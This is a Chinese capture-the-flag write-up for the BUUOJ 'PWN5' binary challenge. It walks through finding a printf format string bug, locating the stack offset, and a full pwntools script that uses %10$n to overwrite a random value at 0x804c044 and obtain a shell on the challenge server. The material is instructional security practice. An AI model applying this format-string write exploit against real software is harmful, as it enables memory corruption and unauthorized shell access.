在CTF(Capture The Flag)竞赛中,Pwn类题目主要考察选手对二进制程序漏洞的发现与利用能力。本文将对BUUOJ平台上的“[第五空间2019 决赛]PWN5”题目进行详细分析,讲解如何利用格式化字符串漏洞实现任意地址写入,最终获得Shell权限。
初步分析与漏洞定位
首先,下载题目提供的二进制文件,使用IDA Pro进行静态分析,并使用checksec工具检查程序启用的安全保护机制。

通过分析代码逻辑,可以清晰地发现一个典型的格式化字符串漏洞。程序在使用printf函数输出用户输入时,未使用安全的格式化方式(如%s),而是直接输出了用户可控的内容。

同时,checksec的结果显示程序开启了以下保护:
- 栈溢出保护 (Stack Canary)
- 栈不可执行 (NX Enabled)
- 部分GOT表只读 (Partial RELRO)
这表明传统的栈溢出攻击和直接在栈上执行Shellcode的方法受到限制,需要寻找其他利用途径。

关键逻辑与利用思路
深入分析程序,发现它在初始化阶段生成一个随机数,并将其存储在内存的固定地址0x804C044处。后续的验证逻辑要求用户输入与这个随机数匹配。

我们的目标就是通过漏洞,篡改0x804C044地址处的值为我们已知的内容(例如0x11111111),从而通过验证。
利用格式化字符串漏洞,我们既可以实现任意地址读来泄露信息,也可以实现任意地址写来修改内存。本题的核心就是利用%n等格式化符实现对0x804C044地址的写入。
漏洞利用步骤详解
1. 定位偏移量
首先需要确定用户输入在格式化字符串中的参数位置。我们发送测试字符串AAAA配合多个%p来泄露栈上的数据。

从输出可以看到,0x41414141(即“AAAA”)出现在第10个参数的位置。这意味着我们在格式化字符串中,使用%10$p就可以指向我们输入的这4个字节。
2. 构造利用Payload
我们的利用脚本需要完成以下步骤:
- 将目标地址
0x804c044写入到栈上,使其位于第10个参数的位置。
- 使用格式化字符串的
%n写入功能(例如%10$n),将到目前为止已输出的字符数写入到0x804c044指向的地址。为了控制写入的值,通常需要配合%xc来精确控制输出的字节数,但本题可以直接写入一个较小的固定值。
- 由于程序后续会将我们的输入与
0x804c044处的值进行比较,因此我们只需输入对应的数字字符串即可。
以下是完整的利用脚本,使用[pwntools](https://yunpan.plus/f/26-1)库编写:
from pwn import *
context(arch='i386', os='linux', log_level='debug')
# 本地测试
# io = process('./pwn')
# 远程连接
io = remote('node5.buuoj.cn', 26029)
target_addr = 0x804c044
# 构造payload:将目标地址放在第10个参数位置,并用%10$n写入
# 写入的值是已输出的字符数,即4字节地址的长度(0x4)
payload = p32(target_addr) + b'%10$n'
io.sendline(payload)
# 发送用于匹配的字符串‘4’(0x4的十进制)
io.sendline(str(0x4))
io.interactive()

3. 获取Shell
运行上述脚本,成功实现任意地址写,并通过验证,最终获取了目标服务器的Shell权限。

总结
本题是一道经典的格式化字符串漏洞利用题目。它绕过了栈保护机制,通过精确定位栈偏移,利用格式化字符串的%n功能实现了对指定内存地址的修改。在真实的网络安全研究与漏洞挖掘中,格式化字符串漏洞同样危害极大,可以导致信息泄露和内存被篡改,开发者应确保始终使用安全的格式化函数。
|